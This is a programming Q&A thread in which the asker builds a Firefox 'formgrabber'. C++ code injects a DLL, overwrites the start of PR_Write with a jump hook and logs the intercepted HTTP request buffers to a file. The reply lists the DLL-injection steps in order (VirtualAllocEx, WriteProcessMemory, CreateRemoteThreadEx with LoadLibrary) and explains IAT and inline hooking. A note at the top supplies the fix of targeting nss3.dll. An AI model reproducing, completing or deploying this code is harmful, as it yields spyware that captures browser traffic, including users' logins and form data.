Question

The problem was that the DLL which contains PR_Write() is called not npsr4.dll, but nss3.dll and hooks couldn't find GetProcAddress() from non-existing library.

I'm trying to create Firefox hook, which collects data from the PR_Write() Firefox method (it is located in nspr4.dll). I googled much and tried many ways to do that, but unfortunately when I inject the hook, Firefox crashes.

  • Firstly, I tried not to use DLL, using this method http://redkiing.wordpress.com/2012/04/30/firefox-formgrabber-iii-code-injection/ (source at the beginning of the article) Firefox crashed at CreateRemoteProcess()*

  • I read that CreateRemoteProcess() doesn't work on Win7 because of security issues. I decided to use this method: http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html But it didn't even load my DLL. (source at the beginning of the article)

  • Then I decided to inject the DLL with SetWindowsHookEx(). DLL worked, I used test MessageBox to check that (but I'm not sure if I specified the last parametr of SetWindowsHookEx() correctly).

  • I've found Chrom library with Firefox example (I cannot post more than 2 links but google: "chrom-lib"). I applied the code to my DLL, but when I inject it, Firefox crashes.

I don't know ASM, stack and memory managment well and I have no idea what is wrong and how to fix it. I only know I should use asm jump hook, but how?. I need a ready-to-use code :/

Maybe there is a way to get pr_write() address, then get its call stack (function arguments) and use them to call my own function? Or maybe I should try with "API Hooking with MS Detours" (again I cannot post link :< )

What should I do?

EDIT I nocticed that there is no npsr4.dll on my computer. So how does Firefox build HTTP request without this lib?

Current DLL code (Chrom-based with VirtualProtect() usage)

#define SIZE 6

struct Hook{

    DWORD original_function;
    DWORD destination_function;

    BYTE original_bytes[SIZE];
    BYTE JMP_instruction[SIZE];
    DWORD original_protection, new_protection;

    Hook(){

    original_protection= PAGE_EXECUTE_READWRITE; 
    new_protection = PAGE_EXECUTE_READWRITE;

    }

    ~Hook(){

    memcpy((void*) original_function, original_bytes, SIZE);

    }

    int Initialize(char * function, char * module_name, void * destination_function_ptr)
    {
        original_function = (DWORD)GetProcAddress(GetModuleHandle(module_name), 
                             function);

        destination_function = (DWORD) destination_function_ptr;

        if (original_function==NULL){
            return FALSE;}

        return TRUE;
    }

    int Start()
    {
        BYTE JMP_temporary[SIZE] = {0xE9, 0x90, 0x90, 0x90, 0x90, 0xC3};

        memcpy(JMP_instruction, JMP_temporary, SIZE);

        DWORD JMP_size = ((DWORD)destination_function - (DWORD)original_function - 5);

        VirtualProtect((LPVOID)original_function, SIZE, PAGE_EXECUTE_READWRITE, &original_protection);

        MessageBox(NULL,"Works", ":D",0);

        memcpy(original_bytes,(void*)original_function, SIZE);

        memcpy(&JMP_instruction[1], &JMP_size, 4);

        memcpy((void*)original_function, JMP_instruction, SIZE);

        VirtualProtect((LPVOID)original_function, SIZE, original_protection, NULL);

        return TRUE;
    }

    int Reset(){

        VirtualProtect((LPVOID)original_function, SIZE, new_protection, NULL);

        memcpy((void*)original_function, original_bytes, SIZE);

        return TRUE;
    }

    int Place_Hook(){

        memcpy((void*)original_function, JMP_instruction, SIZE);

        VirtualProtect((LPVOID)original_function, SIZE, original_protection, NULL);

        return TRUE;
    }

};

//...

Hook Firefox; // use chrom library

DWORD PR_Write_H (DWORD *fd,  void *buf,DWORD amount); // this is our overiding-function
typedef DWORD (*prWrite)(DWORD*,void*,DWORD); // defination of our original function

prWrite prw = NULL; // create a orginal function, we later point this to orginal function
                    // address

// example test function
int write_log(char * log, char * data)
{
    ofstream fout("D:\\log2.txt", ios::app);fout << data;fout.close();
    return TRUE;
}

void create_hooks() //this is called when DLL is initialized
{
    // Override PR_Write function in nspr4.dll with our PR_Write_H, 
    // Note nspr4.dll must already be
    // loaded in process space
    Firefox.Initialize("PR_Write", "nspr4.dll", PR_Write_H);

    // Write jump instruction on orginal function address
    Firefox.Start();
}

// our overriding function
DWORD PR_Write_H (DWORD *fd,  void *buf,DWORD amount){
    // reset hooks, this will replace the jump instruction to original data
    Firefox.Reset();
    // point prw(function) to original function
    prw = (prWrite)Firefox.original_function;
    // log the headers
    write_log(log_file, (char*) buf);
    // call the real PR_Write function
    DWORD ret = prw(fd, buf, amount);
    // again place the jump instruction on the original function
    Firefox.Place_Hook();
    return ret;
}

*I'm using Win8 x64 but the hook must work at Vista/Win7/Win8 32 and 64 bit! I also tested it at Win7 x86 laptop. I compile with Visual Studio 2012

Was it helpful?

Solution

Here are the basic steps I use when injecting a dll:

1) You use OpenProcess in order to gets Firefox's process HANDLE

2) You allocate memory for the path of your dll using VirtualAllocEx into Firefox's process

3) You write the dll path into this allocated space using WriteProcessMemory

4) You get the HANDLE of the dll kernel32.dll using GetModuleHandleA. This one should be present in every windows's process. kernel32.dll contains window's core API stuff.

5) In this kernel32.dll you will find the function LoadLibrary that will help you loading your dll. Get its address with GetProcAddress.

6) Now you have all the keys to create a new remote thread that will load your dll into Firefox's process. You just call CreateRemoteThreadEx with lpStartAddress pointing to the address of LoadLibrary and lpParameter to your dll path string.

7) Enjoy your injected dll.

Now that your dll is in the process memory, you can start to hook. Here are two basic ways:

- On the Import Address Table (IAT): The import address table is table that contain the address of each external functions use by your module/process. In your case you want to change the address of PR_Write by the address of your manually created function. You must remove the memory page protection of the IAT using VirtualProtect. Now you can freely override the adress by your own.

- Override parts of the process code to make it jump in your functions: Using VirtualProtect, you once against remove the protection on the code parts you need. You then change the current instructions by the opcode of CALL or JUMP pointing to your function. The overrided instructions MUST be rewritten at the beginning of your function in order to keep the real flow intact. After your hook function, you must jump back after the overrided instruction.

All these hooks tricks may need a intermediate function called a trampoline. This function may have to save the registers and load them back later. It can also ensure that the calling conventions are respected.

When dealing with hooks, I would suggest to learn assembly and how to use debugging tools like OllyDbg.

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top